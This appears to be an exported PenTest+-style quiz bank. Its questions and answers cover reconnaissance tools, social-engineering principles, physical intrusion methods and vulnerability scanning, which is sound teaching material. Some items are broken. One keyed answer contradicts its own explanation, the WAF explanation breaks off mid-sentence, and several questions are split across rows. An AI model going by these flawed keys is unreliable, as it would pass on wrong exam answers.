You need to gather information on a target website such as subdomain names, employee names, email addresses, and PGP key entries listed somewhere on the target's publicly available websites. Which of the following tools would you most likely use? A) FOCA B) Metagoofil C) theHarvester D) Shodan E) TinEye	Correct Answer: theHarvester Explanation: FOCA (Fingerprinting Organisations with Collected Archives) is a tool used mainly to find metadata and hidden information in the documents its scans. These documents may be on web pages and can be downloaded and analyzed with FOCA. It is capable of analyzing a wide variety of documents, with the most common being Microsoft Office, Open Office, or PDF files, although it also analyzes Adobe InDesign or SVG files, for instance. These documents are searched for using three possible search engines: Google, Bing, and DuckDuckGo. The sum of the results from the three engines amounts to a lot of documents. It is also possible to add local files to extract the EXIF information from graphic files, and a complete analysis of the information discovered through the URL is conducted even before downloading the file. With all data extracted from all files, FOCA matches information in an attempt to identify which documents have been created by the same team and what servers and clients may be inferred from them.

	Metagoofil is an information gathering tool designed for extracting metadata of public documents (pdf,doc,xls,ppt,docx,pptx,xlsx) belonging to a target company. Metagoofil will perform a search in Google to identify and download the documents to local disk.
Your team lead tells you that on the next engagement, he wants you to use a web exploration framework written in Python that enables database interaction, command completion, and interactive help. Which of the following tools is she referring to? A) BEeF B) Shodan C) ZAP D) theHarvester E) recon-ng	Correct Answer: recon-ng Explanation: Shodan is a search engine that lets users search for various types of servers connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are metadata that the server sends back to the client Recon-ng is a full-featured Web Reconnaissance framework written in Python. Complete with independent modules, database interaction, built in convenience functions, interactive help, and command completion, Recon-ng provides a powerful environment in which open source web-based reconnaissance can be conducted quickly and thoroughly. BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. Amid growing concerns about web-born attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context. The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. owasp.org/index.php/ZAP theHarvester package contains a tool for gathering subdomain names, e-mail addresses, vir
You need a search engine that will let you search for various types of servers and services connected to the Internet. Which tool, of the following, are you likely to use? A) SET B) theHarvester C) recon-ng D) DirBuster E) Shodan	Correct Answer: Shodan Explanation: DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. Often is the case now of what looks like a web server in a state of default installation is actually not, and has pages and applications hidden within. DirBuster attempts to find these. However tools of this nature are often as only good as the directory and file list they come with. A different approach was taken to generating this. The list was generated from scratch, by crawling the Internet and collecting the directory and files that are actually used by developers! DirBuster comes a total of 9 different lists, this makes DirBuster extremely effective at finding those hidden files and directories. And if that was not enough DirBuster also has the option to perform a pure brute force, which leaves the hidden directories and files nowhere to hide.

	The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the social-engineer.org launch and has quickly became a standard tool in a penetration testers arsenal. SET was written by David Kennedy (ReL1K) and with a lot of help from the community it has incorporated attacks never before seen in an exploitation toolset. The attacks built into the toolkit are designed to be targeted and focused attacks against a person or organization used during a penetration test.
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Bank.com. You want to identify any revoked digital certificates that you may use as part of a phishing campaign. Which of the following should you review to identify user certificates that were revoked before their expiration date? A) CRL B) CSR C) robots.txt D) SAN	Correct Answer: CRL Explanation: The certificate revocation list (CRL) is a list of digital certificates that have been revoked before their expiration date and are now considered invalid. Subject alternative name (SAN) is a field in a digital certificate that allows a host to be identified by multiple host names or domain names. Certificates that use a SAN are referred to as a multi-domain certificate. A certificate signing request (CSR) is a Base64 ASCII file generated on the device that needs a certificate and contains information that the certificate authority needs to create the certificate. A robots.txt file tells search engine crawlers which URLs the crawler should index and access on your site.
When using the netcat command to conduct a banner grab on utulsa.edu, you use the following command. Which of the below response would you expect to receive from this command? nc -v utulsa.edu 21 | grep Server A) Server: utulsa ESMTP Postfix (Ubuntu) B) Server: SSH-2.0-OpenSSH 7.4 C) Server: vsFTPd-3.0.3 D) Server: Microsoft-ISS/8.5	Correct Answer: Server: vsFTPd-3.0.3 Explanation: The nc (netcat) command is useful in conducting banner grabbing. To use netcat for banner grabbing, simply enter "nc -v IP PORT" where IP is the IP address and PORT is the port number of the service being tested. In this scenario, netcat is being used to banner grab the server on port 21, therefore you should expect the result to be a FTP server. man nc
What SCAP component provides a list of entries that contains an identification number, a description, and a public reference for each publicly known weakness in a piece of software? A) CVE B) CCE C) CPE D) XCCDF	Correct Answer: CVE Explanation: The Common Vulnerabilities and Exposures (CVE) system provides a reference method for publicly known information-security vulnerabilities and exposures. XCCDF (extensible configuration checklist description format) is a language that is used in creating checklists for reporting results. The Common Configuration Enumeration (CCE) provides unique identifiers to system configuration issues to facilitate fast and accurate correlation of configuration data across multiple information sources and tools. Common Platform Enumeration (CPE) is a standardized method of describing and identifying classes of applications, operating systems, and hardware devices present among an enterprise's computing assets.
A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following	Correct Answer: Baiting Explanation: As users surf the Internet, shop online, and interact with friends, they may feel more secure, as they are completing familiar tasks without having to think about their actions. Malicious actors count on this familiarity to launch an attack. For example, if you see something on the ground, you might reach down and pick up

social-engineering attacks was the tester utilizing? A) Tailgating B) Shoulder surfing C) Obfuscation D) Baiting E) Phishing	the item to take a closer look. Malicious actors use this sense of curiosity to bait victims into completing some action. The most common form of baiting is called a Universal Serial Bus (USB) drop key attack. In this attack, a malicious actor will drop a thumb drive in a parking lot or some other public area near a workspace. An employee might notice the USB drive lying on the ground, pick it up, and plug it into their computer. Unbeknownst to them, the drive has been preloaded with malicious software that can compromise the employee's computer. Similar baiting has been used in this scenario.
A factory relies on a legacy workstation running Windows XP that is used as part of an ICS/SCADA system to control their industrial factory equipment. The workstation is connected to an isolated and air gapped network that cannot reach the internet. The workstation receives the patterns for the manufactured designs through a flash drive. Which of the following types of attacks would be most successful in infecting this workstation with malware as part of your penetration test? A) side-channel attack B) USB key drop C) watering hole D) blind SQL injection	Correct Answer: USB key drop Explanation: A USB key drop attack is a type of social engineering attack that occurs when an attacker strategically places a USB device somewhere, potentially containing malicious code, with the intention of someone taking it and plugging it into a computer. This is a commonly used method of attacking an air gapped network or workstation. A watering hole attack is a strategy where an attacker guesses or observes which websites an organization often uses and infects one or more of them with malware. A side-channel attack is a security exploit that aims to gather information from or influence the program execution of a system by measuring or exploiting indirect effects of the system or its hardware rather than targeting the program or its code directly. Blind SQL injections (blind SQLi) occur when a web application is exposed to SQL injection, but its HTTP responses don't contain the results of the SQL query or any details of database errors.
You are scheduled to conduct a physical penetration test against an organization. You need to access the building during business hours and in the evening, even if none of the employees are on-site. Which of the following methods would be the MOST effective to utilize? A) badge cloning B) lock picking C) Tailgating D) bluesnarfing E) fence jumping	Correct Answer: badge cloning Explanation: Radio-frequency identification (RFID) is a standard for identifying and keeping track of an object's physical location through the use of radio waves. RFID cloning is the act of copying authentication data from an RFID badge's microchip to another badge. In an attack scenario, badge cloning is useful because it enables the attacker to obtain authorization credentials without stealing a physical badge from the organization. Badge cloning can be done through handheld RFID writers, which are inexpensive and easy to use. You hold the badge up to the RFID writer device, press a button to copy its tag's data, then hold a blank badge up to the device, and write the copied data. RFID cloning tools can read the data like any normal RFID reader would and be located up to several feet away or inside a bag. Tailgating is a social engineering technique to gain access to a building by following someone unaware of their presence. Lock picking is a skill using specialized tools to manipulate the components of a lock to gain access to a restricted area. Fence jumping involves climbing over a fence to breach the physical perimeter of a building. Fence jumping and lock picking would not be effective during normal business hours. Tailgating would not be effective after normal business hours.
A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following tech-	Correct Answer: Performing spear phishing against employees by posing as senior management Explanation: yuck, this is an awful question and set of answers, but let's give it a shot. The key here is to pick the BEST answer from these choices that will gain access to the client's financial system in the shortest period of time, which by extension means the least number of dif-

niques will have the highest likelihood of success? A) Using a brute-force attack against the external perimeter to gain a foothold B) Performing spear phishing against employees by posing as senior management C) Dropping a malicious USB key with the company's logo in the parking lot D) Attempting to tailgate an employee going into the client's workplace	ferent attack techniques. In this case, spear phishing an employee with access to the desired system provides the most direct access to the target without additional actions required and, as we know, a well-crafted spear phish is going to work sooner or later. Dropping a USB key with malware is another highly successful technique but it requires the USB be plugged into a vulnerable machine for the included malware to work and that machine has to have the financial system credentials on it for quick access to the service. Tailgating, which may or may not be successful depending on the target organization, physical environmental constraints, and even the time of day might get you into the building but then you still have to figure out how to gain access to the financial system. And, as with the tailgating approach, pentrating the perimeter of the network does not necessarily get you very close to gaining access to the financial system which may or may not be hosted at that organization.
You are working as part of a penetration testing team during an assessment of the corporate headquarters. Your boss has requested that you search the company's recycling bins for any information that might be valuable during the reconnaissance phase of your attack. What type of social engineering method are you performing? A) phishing B) dumpster diving C) whaling D) impersonation	Correct Answer: dumpster diving Explanation: Dumpster diving involves searching through publicly accessible garbage cans or recycling bins to find discarded paper, manuals, or other valuable types of information from a targeted company. This is often done as part of the reconnaissance phase before an attack is performed. Whaling is an email-based or web-based form of phishing that targets senior executives or wealthy individuals. Phishing is an email-based social engineering attack in which the attacker sends an email from a supposedly reputable source, such as a bank, to try to elicit private information from the victim. Impersonation is the act of pretending to be someone or something else. Malicious actors often couple pretexting and impersonation to craft a believable scenario and impersonate people in authority during a social engineering attack.
During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.) A) Using the WHOIS lookup tool B) Utilizing DNS lookup tools C) Scraping social media sites D) Crawling the client's website E) Phishing company employees	Correct Answers Scraping social media sites Crawling the client's website Explanation: Social media sites and the company's website likely contain contact information, including names and possibly emails and phone numbers along with both internal and external connections (aka friends or followers). Web crawling is very common and will likely not trigger any alerts for the customer. In contrast, the whois records at most contain the name and email of the person that registered a domain, but since GDPR passed much of that identifiable information has been scrubbed from public whois records. DNS lookup tools will mainly give you domain and IP information, not technical and billing contacts. And, lastly, phishing is an active attack and will likely be identified by the organization's security team.
A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them? A) As proof in case they are discovered B) As backup in case the original documents are lost C) To guide them through the building entrances D) To validate the billing information with the client	Correct Answer: As proof in case they are discovered Explanation: Keeping a copy of the engagement documents on them will enable a pentester to deescalate with the customer organization if they are detected.

Several users have contacted the help desk to report that they received an email from a well-known bank stating that their accounts have been compromised and they need to "click here" to reset their banking password. Some of these users are not even customers of this particular bank, though. Which of the following social engineering principles is being utilized as a part of this phishing campaign? A) intimidation B) urgency C) familiarity D) consensus	Correct Answer: familiarity Explanation: Familiarity is a social engineering technique that relies on assuming a widely known organization's persona. For example, in the United States, nearly 25% of Americans have a Bank of America account. For this reason, phishing campaigns often include emails pretending to be from Bank of America since 1 in 4 people who receive the email in the United States are likely to have an account. This makes them familiar with the bank name and is more likely to click on the email link. This email appears to be untargeted since it was sent to both customers and non-customers of this particular bank; it is best classified as phishing. Spear phishing requires the attack to be more targeted and less widespread. Urgency is focused on the element of time. An attacker encourages the victim to act quickly, which often leads to them making security mistakes. Urgency is related to scarcity, and the two are often effectively used together. Social proof and consensus rely on the fact that people want to fit in and conform. If a victim sees or believes others are performing some action, they will believe it is okay for them to do it.
Which attack method is MOST likely to be used by a malicious employee or insider trying to obtain another user's passwords? A) whaling B) Tailgating C) shoulder surfing D) on-path attack E) phishing	Correct Answer: shoulder surfing Explanation: While a malicious employee or insider could use all of the methods listed to obtain another user's passwords, shoulder surfing is the MOST likely to be used. Shoulder surfing is a type of social engineering technique used to obtain personal identification numbers (PINs), passwords, and other confidential data by looking over the victim's shoulder. Since a malicious employee or insider can work close to their victims (other users), they could easily use this technique to collect the victimized users' passwords. An on-path attack is an attack where the attacker secretly relays and possibly alters the communications between two parties who believe they are directly communicating with each other. The attacker makes independent connections with the victims and relays messages between them to make them believe they are talking directly to each other over a private connection. The attacker will intercept all relevant messages passing between the two victims and inject new ones. Tailgating is a social engineering technique to gain access to a building by following someone unaware of their presence. Phishing is an email-based social engineering attack in which the attacker sends an email from a supposedly reputable source, such as a bank, to try to elicit private information from the victim. Phishing attacks target an indiscriminate large group of random people.
During a penetration test, which of the following should you perform if your goal is to conduct a successful vishing attack? A) send targeted emails with a malicious attachment to the sales team B) send a text message with a malicious link to the C-suite executives C) call the CTO's assistant using a pretext to gather information about their schedule	Correct Answer: call the CTO's assistant using a pretext to gather information about their schedule Explanation: Pretexting is a social engineering tactic where a team will communicate, whether directly or indirectly, a lie or half-truth to get someone to believe a falsehood. Vishing is a social-engineering attack where the attacker extracts information while speaking over the phone or leveraging IP-based voice messaging services (VoIP). Smishing (SMS phishing) is a phishing attack in which the attacker entices their victim through SMS text messages. If the messages are sent by text message, then the attack is considered smishing. Spear phishing is the fraudulent practice of sending emails from a

D) send a targeted email with a malicious attachment to the organization's CEO	seemingly known or trusted sender to induce targeted individuals to reveal confidential information. Spear phishing attacks focus on a targeted set of people, not just an indiscriminate large group of random people. Whaling is an email-based or web-based form of phishing that targets senior executives or wealthy individuals.
A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information? A) Tailgating B) Bribery C) Shoulder surfing D) Dumpster diving E) Badge cloning	Correct Answer: Dumpster diving Explanation: Dumpster diving involves searching through publicly accessible garbage cans or recycling bins to find discarded paper, manuals, or other valuable types of information from a targeted company. This is often done as part of the reconnaissance phase before an attack is performed. And, no, bribery is not a legitimate or ethical penetration testing technique.
You are conducting a social engineering attack against an organization as part of an engagement. You send a series of emails to a victim, posing as several different coworkers. In the emails, you tell the victim about this great new website for watching new movies live from their laptop for free. Each email appears to come from a different coworker and informs this person about this awesome new free service. What type of social engineering principle is being exploited here? A) scarcity B) authority C) social proof D) fear	Correct Answer: social proof Explanation: Social proof relies on the fact that people want to fit in and conform. If a victim sees or believes others are performing some action, they will believe it is okay for them to do it. In this case, the victim is convinced that "everyone else" is also using this website to watch a new movie, so they decide to join in. Little do they know, the penetration testing team set up this website to collect their information or load malicious code onto their laptop for a future exploit. Fear is a visceral emotion that can motivate people to act in ways they normally would not. In this scenario, the social engineer tries to convince the victim that their actions must be taken immediately, or bad consequences might occur. This is an attempt to cause fear and anxiety in the victim to hand over their password. Authority is used to take advantage of people's willingness to act when directed to by someone with the power or right to give orders. For example, an attacker may pose as a police officer, government agent, or high-level executive to force an employee to take some form of action, whether it is ethically dubious or counter to their interests. Scarcity is used to create a fear in a person of missing out on a special deal or offer. This technique is used in advertising all the time, such as "supplies are limited," "only available for the next 4 hours", and other such artificial limitations being used.
You are conducting a social engineering attack against an organization as part of an engagement. You walk into the break room and see a couple of system administrators talking about the previous weekend's football game. You listen for a moment as the two argue over whose team was better. You notice that one of the guys is about your age and talks fast. You walk over and immediately start talking fast, backing up this guy's claims about his team, and joking around with him. After they are done talking about football, you comment about how Linux servers are so much better than Windows to see his response as you try to figure out the server types used at this organization. What type of social engineering principle is being exploited here? A) authority B) intimidation C) scarcity D) likeness	Correct Answer: likeness Explanation: Likeness is the social engineering motivational technique that relies on people being more willing to help people who look and sound like themselves. In this scenario, the social engineer started talking sports and acting like the victim he sought to exploit. He then started making jokes about different server types to see if he could gain some information from the victim. Authority is used to take advantage of people's willingness to act when directed to by someone with the power or right to give orders. For example, an attacker may pose as a police officer, government agent, or high-level executive to force an employee to take some form of action, whether it is ethically dubious or counter to their interests. Scarcity is used to create a fear in a person of missing out on a special deal or offer. This technique is used in advertising all the time, such as "supplies are limited," "only available for the next 4 hours", and other such artificial limitations being used.

What technique is being used in this REAL email that Sal received: <<<CLICK ON IMAGE>>> A) brute force B) spear phishing C) phishing D) whaling	Correct Answer: phishing Explanation: Phishing is an email-based social engineering attack in which the attacker sends an email from a supposedly reputable source, such as a bank, to try to elicit private information from the victim. Phishing attacks target an indiscriminate large group of random people. The email in this scenario appears to be untargeted since it was sent to both customers and non-customers of this particular bank so it is best classified as phishing. Spear phishing is the fraudulent practice of sending emails from a seemingly known or trusted sender to induce targeted individuals to reveal confidential information. Whaling is an email-based or web-based form of phishing that targets senior executives or wealthy individuals. A brute-force attack consists of an attacker submitting many passwords or passphrases with the hope of eventually guessing correctly.
You are conducting a physical penetration test against an organization. You followed an employee to the coffee shop next door, and while they were ordering, you got within 1 foot of them to electronically capture their proximity badge. Which of the following exploits are you planning to use? A) bluejacking B) session hijacking C) credential harvesting D) RFID cloning E) bluesnarfing	Correct Answer: RFID cloning Explanation: Radio-frequency identification (RFID) is a standard for identifying and keeping track of an object's physical location through the use of radio waves. RFID cloning is the act of copying authentication data from an RFID badge's microchip to another badge. In an attack scenario, badge cloning is useful because it enables the attacker to obtain authorization credentials without actually stealing a physical badge from the organization. Badge cloning can be done through handheld RFID writers, which are inexpensive and easy to use. You simply hold the badge up to the RFID writer device, press a button to copy its tag's data, then hold a blank badge up to the device and write the copied data. RFID cloning tools can read the data like any normal RFID reader would and be located up to several feet away or inside a bag. Bluesnarfing is a technical attack that steals information from a user's device by reading the data using Bluetooth. Bluesnarfing is used to steal sensitive data like contacts, calendars, emails, and text messages. Session hijacking is a type of spoofing attack where the attacker disconnects a host then replaces it with his or her machine, spoofing the original host's IP address. Credential harvesting is an attack designed to steal usernames and passwords.
You are scheduled to conduct a physical penetration test against an organization. You need to access the building after business hours when none of the employees are on-site. Which of the following methods would be the MOST effective to utilize? A) fence jumping B) lock picking C) Tailgating D) dumpster diving	Correct Answer: lock picking Explanation: Since there are no employees around, the most effective method would be to pick a lock on a door to enter the building. Lock picking is a skill, and a penetration tester requires practice with the right tools to be effective at it. Lock picking is considered a physical attack and must be clearly defined in the rules of engagement if you plan to use it.
An attacker has been collecting credit card details by calling victims and using false pretexts to trick them. Which of the following types of attack is being conducted? A) pretexting	Correct Answer: vishing Explanation: Vishing is a social-engineering attack where the attacker extracts information while speaking over the phone or leveraging IP-based voice messaging services (VoIP). Whaling is an email-based or web-based form of phishing that targets senior executives or wealthy individuals. Spear phishing is the fraudulent practice of sending emails from a seemingly known or trusted sender to

B) whaling C) spear phishing D) phishing E) vishing	induce targeted individuals to reveal confidential information. A spear phishing attack is focused on a targeted set of people, not just an indiscriminate large group of random people. Phishing is an email-based social engineering attack in which the attacker sends an email from a supposedly reputable source, such as a bank, to try to elicit private information from the victim. Pretexting is a social engineering tactic where a team will communicate, whether directly or indirectly, a lie or half-truth to get someone to believe a falsehood.
Your organization has been receiving many phishing emails recently, and you are trying to determine why they are effective in getting your users to click on their links. The latest email consists of what looks like an advertisement that is offering an exclusive early access opportunity to buy a new iPhone at a discounted price. Still, there are only 5 phones available at this price. What type of social engineering principle is being exploited here? A) scarcity B) familiarity C) trust D) intimidation	Correct Answer: scarcity Explanation: Scarcity is used to create a fear in a person of missing out on a special deal or offer. This technique is used in advertising all the time, such as "supplies are limited," "only available for the next 4 hours", and other such artificial limitations being used. Familiarity is a social engineering technique that relies on assuming a widely known organization's persona. For example, in the United States, nearly 25% of Americans have a Bank of America account. For this reason, phishing campaigns often include emails pretending to be from Bank of America since 1 in 4 people who receive the email in the United States are likely to have an account. This makes them familiar with the bank name and is more likely to click on the email link.
While conducting a penetration test against the University of Tulsa, you gained access to the President's account. You log in as the President and send the following email: (click image) Which attack does this scenario most accurately depict? A) BEC attack B) whaling attack C) MiTM attack D) deauthentication attack E) smishing attack	Correct Answer: BEC attack Explanation: A business email compromise (BEC) is a form of elicitation where the attacker impersonates a high-level executive or directly takes over their email account. The attacker then sends an email to elicit personnel to take action on their behalf. In this example, the attacker is impersonating the company's CEO by sending an email to the financial personnel requesting they send a money transfer for what appears to be a legitimate service. This example also uses the urgency and authority motivation factors to convince the employee to take action.
What technique is most effective in determining whether or not increasing end-user security training would benefit the organization during your technical assessment of their network? A) application security testing B) network sniffing C) social engineering D) vulnerability scanning	Correct Answer: social engineering Explanation: Social engineering refers to the psychological manipulation of people into performing actions or divulging confidential information. During your technical assessment, utilizing social engineering techniques such as phishing or pharming can help you determine if additional end-user security training should be included in the organization. The other three options focus solely on technical controls. Therefore adding end-user training would not affect these technology options.
Which of the following is the most difficult to confirm with an external vulnerability scan? A) CSRF B) blind SQL injection C) XSS D) unpatched web server	Correct Answer: blind SQL injection Explanation: Vulnerability scanners typically cannot confirm that a blind SQL injection with the execution of code has previously occurred. XSS and CSRF/XSRF are typically easier to detect because the scanner can pick up information that proves a successful attack. The banner information can usually identify unpatched servers.

Matt identifies a vulnerability in TU's payment processing application. According to the lifecycle of a vulnerability, which action does he take next? A) deploys a patch for the vulnerability B) submites a request for a CVE C) creates an exploit D) reports the vulnerability	Correct Answer: creates an exploit Explanation: The lifecycle generally involves the following: 1. Discover is the first phase of finding a potential vulnerability that can be exploited. It's important to recognize that a vulnerability exists in order to defend against a possible attack, now or in the future. 2. Coordinate is the next phase, where both the vulnerability and the potential to exploit the vulnerability are known. During this phase, the vulnerability is defined, listed, and published in the CVE and CWE so that vendors and anyone involved is aware of the vulnerability. 3. Mitigate is when vendors and software designers take a look at the vulnerability and devise a strategy to deal with the vulnerability. In most cases a patch is developed and then released to the public. 4. Manage is when the patch has been released. It's now up to each individual organization to take the next step and apply the patch in order to remediate or mitigate the vulnerability. 5. Document is the final phase, in that the vulnerability has been tested, and everyone involved will take a moment to document what has been done. In addition, it's best to reflect on lessons learned, in order to prevent further exposure. But why is "create an exploit" part of the discover phase? To show that the vulnerability really exists and is not just theoretical.
A penetration tester wants to collect software versioning information from servers on the network. The penetration tester has set up a packet sniffer on a victimized host and sent a copy of the network traffic back to their workstation. The penetration tester's objective in this assessment is to emulate an APT and remain stealthy for as long as possible while gathering information. Which of the following should the penetration tester do enumerate the software version used by the server? A) use nmap to query known ports B) manually analyze the packet captures C) use Nessus to conduct a vuln scan D) utilize netstat to locate active connections	Correct Answer: manually analyze the packet captures Explanation: Since the penetration tester has already victimized a host and can collect packet captures from that host, the penetration tester should analyze the packet captures first. Packet captures contain every packet that is sent and received by the network. By using a program like Wireshark to analyze the packet captures, the penetration tester can see what kind of information and metadata is contained within the packets. By conducting this type of packet analysis, a penetration tester can determine what software versions are running on a given host or server since they send specific data and associated metadata within their packets during network communications. Using netstat would identify the active connections, but it would not provide software version information. Nmap can be used to query known ports to automatically conduct versioning of the software running on those ports, but it would be easily detected by a cybersecurity analyst or intrusion detection system. Nessus is a vulnerability scanner and it could provide the penetration tester with the software versions on a given host or server, but it is extremely noisy and would be detected easily by a cybersecurity analyst or intrusion detection system.
During a vulnerability scan, you notice that the hostname www.utulsa.edu is resolving to www.utulsa.edu.akamized.net instead. Based on this information, which of the following do you suspect is true? A) the server assumes you are conducting a DDoS and your traffic is being sent to a honeypot B) you are scanning a CDN-hosted copy of the site	Correct Answer: you are scanning a CDN-hosted copy of the site Explanation: This result is due to the company using a distributed server model that hosts content on Edge servers worldwide as part of a CDN. A content delivery network (CDN) is a geographically distributed network of proxy servers and their data centers that provide high availability and performance by distributing the service spatially relative to end-users. The requested content may be served from the Edge server's cache or pull the content from the main diontraining.com servers. If you are scanning a web server or application hosted with a CDN, you need to be aware that you might be scanning an edge copy of the site and not receive accurate results. While an edge server usually maintains static

C) the scan will not return any useful information D) not much really - this info is useless	content, it is still useful to determine if any vulnerabilities exist in that portion of the site content. Distributed denial-of-service (DDoS) attacks range from small and sophisticated to large and bandwidth-busting. While Akamai does provide excellent DDoS protection capabilities, nothing in this question indicates that the server is attempting to stop your scans or is assuming you are conducting a DDoS attack against it.
Matt is trying to determine if TU is using a WAF for its main www.utulsa.edu web domain. Which of the following WAF characteristics can Matt use to identify if a WAF is present? (Select all that apply) A) TLS downgrade to SSL B) HTTP personal cookies C) HTTP header alernation D) HTTP response obfuscation	Correct Answers HTTP header alernation HTTP personal cookies Explanation: A few examples of how the team can identify a WAF include the following: • A WAF can give away their existence by adding a personal cookie in the HTTP packets. • Some WAF products (such as Citrix NetScaler) use a technique called Header alternation, which changes the original response header to confuse the attacker. • Other WAF will identify themselves by their response, for example you might see the following: .
Which of the following techniques does a vulnerability scanner use to detect a vulnerability on a specific service? A) banner grabbing B) analyzing the response received from the service when posted C) port scanning D) fuzzing	Correct Answer: analyzing the response received from the service when posted Explanation: When a vulnerability scanner analyzes the response received from services during a scan or probe, it can determine if the vulnerability exists on the given service on a particular host. Port Scanning is the name for the technique used to identify open ports and services available on a network host. Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. Banner grabbing is a technique used to gain information about a computer system on a network and the services running on its open ports.
Which of the following tools can NOT be used to conduct a banner grab from a web server on a remote host? A) wget B) ncat C) ftp D) netcat E) telnet	Correct Answer: ftp Explanation: FTP cannot be used to conduct a banner grab. A cybersecurity analyst or penetration tester uses a banner grab to gain information about a computer system on a network and the services running on its open ports. Administrators can use this to take inventory of the systems and services on their network. This is commonly done using telnet, wget, or netcat/ncat.
Judith is conducting a vulnerability scan of her data center. She notices that a management interface for a virtualization platform is exposed to her vulnerability scanner. Which of the following networks should the hypervisor's management interface be exposed to ensure the best security of the virtualization platform? A) management network B) internal zone C) external zone D) screened subnet	Correct Answer: management network Explanation: The management interface should only be exposed to an isolated or dedicated network used for the management and configuration of the network device and platforms only. This would also help reduce the likelihood of an attack against the virtualization platform or the hypervisor itself. The external zone (internet), internal zone (LAN), or screened subnet (formerly called a DMZ) should not have the management interface exposed to them.
You have been contracted to perform a remote vulnerability scan of TU's servers to determine if they comply with the company's software baseline. Which of the following types of scans should	Correct Answer: compliance scan Explanation: Compliance scanning verifies that a network adheres to certain policy requirements, such as a corporate baseline. These policies can be corporate, industry, or governmental regulations. In this

you conduct? A) discovery scan B) full scan C) compliance scan D) stealth scan	scenario, you are asked to verify the servers comply with the company's software baseline. Therefore, a compliance scan is the best option to select. A discovery scan identifies the operating systems that are running on a network, maps those systems to IP addresses, and enumerates the open ports and services on those systems. A stealth scan performs half-open TCP scans by never completing the TCP 3-way handshake, making it difficult to detect. A full scan performs a full TCP 3-way handshake with the remote host to determine if it is online and available.
Which of the following tools should a penetration tester use to conduct packet manipulation by crafting and sending malformed packets to a network target? A) Immunity Debugger B) w3af C) Scapy D) ScoutSuite	Correct Answer: Scapy Explanation: Scapy is a tool used to conduct packet manipulation by crafting and sending malformed packets to a network target. ScoutSuite is an open-source tool written in Python that can be used to audit instances and policies created on multi-cloud platforms, such as AWS, Microsoft Azure, and Google Cloud. Immunity Debugger is a debugger that includes both CLIs and GUIs that can load and modify Python scripts during runtime. The Web Application Attack and Audit Framework (w3af) allows you to identify and exploit a large set of web-based vulnerabilities, such as SQL injection and cross-site scripting.
Your network security manager wants a monthly report of the security posture of all the assets on the network (e.g., workstations, servers, routers, switches, firewalls). The report should include any feature of a system or appliance that is missing a security patch, OS update, or other essential security feature and its risk severity. Which tool would work best to find this data? A) antivirus scan B) penetration test C) security policy D) vulnerability scanner	Correct Answer: vulnerability scanner Explanation: Easiest question in this entire test bank, here. A vulnerability scanner is a computer program designed to assess computers, computer systems, networks, or applications for weaknesses. Most vulnerability scanners also create an itemized report of their findings after the scan.
You are conducting a penetration test and performing active reconnaissance. You have configured your tool to send one SYN packet to each port on the targeted web server from 1 to 1024. Which of the following are you performing? A) port scan B) SYN flood C) UDP probing D) web crawling	Correct Answer: port scan Explanation: Second easiest question in the bank, right here. Based on the description provided, the penetration test is most likely conducting a port scan. Using a tool like Nmap, a penetration tester can create an SYN scan across every port in a specified range against the desired target. A port scan or SYN scan may trigger an alert in the target organization's IDS, though, so it is not the stealthiest method of reconnaissance. While scanners support more stealthy scans, a default port scan will connect to each port sequentially. SYN floods normally send many SYN packets to a single system to cause a denial of service, therefore it is the wrong answer. A UDP probe would use UDP packets to probe the web server, not SYN packets. Web crawling is a technique that attempts to connect to each webpage on a web server, but this is done on port 80 or 443 only.
What should a vulnerability report include if a cybersecurity analyst wants it to reflect the assets scanned accurately? A) virtual hosts B) log disposition C) organizational governance D) processor utilization	Correct Answer: virtual hosts Explanation: Vulnerability reports should include both the physical hosts and the virtual hosts on the target network. A common mistake of new cybersecurity analysts is to include physical hosts, thereby missing many network assets.

Cybersecurity analysts are experiencing some issues with their vulnerability scans aborting because the previous day's scans are still running when the scanner attempts to start the current day's scans. Which of the following recommendations is LEAST likely to resolve this issue? A) add another vulnerability scanner B) reduce the scope of the scans C) reduce the sensitivity of the scans D) reduce the frequency of the scans	Correct Answer: reduce the frequency of the scans Explanation: If the cybersecurity analyst were to reduce the scans' sensitivity, it still would not decrease the time spent scanning the network and could alter the effectiveness of the results received. In this scenario, the scans, as currently scoped, are taking more than 24 hours to complete with the current resources. The analyst could reduce the scans' scope, thereby scanning fewer systems or vulnerabilities signatures and taking less time to complete. Alternatively, the analyst could reduce the scans' frequency by moving to a less frequent schedule, such as one scan every 48 hours or one scan per week. The final option would be to add additional vulnerability scanners to the process. This would allow the two scanners to work together to divide the workload and complete the task within the 24-hour scan frequency currently provided.
A cybersecurity analyst is preparing to run a vulnerability scan on a dedicated Apache server that will be moved into a DMZ. Which of the following vulnerability scans is most likely to provide valuable information to the analyst? A) web application vulnerability scan B) network vulnerability scan C) port scan D) database vulnerability scan	Correct Answer: web application vulnerability scan Explanation: Since Apache is being run on the scanned server, this indicates a web server. Therefore, a web application vulnerability scan would be the most likely to provide valuable information. A network vulnerability scan or port scan can provide valuable information against any network-enabled server. Since an Apache server doesn't contain a database by default, running a database vulnerability scan is not likely to provide any valuable information to the analyst.
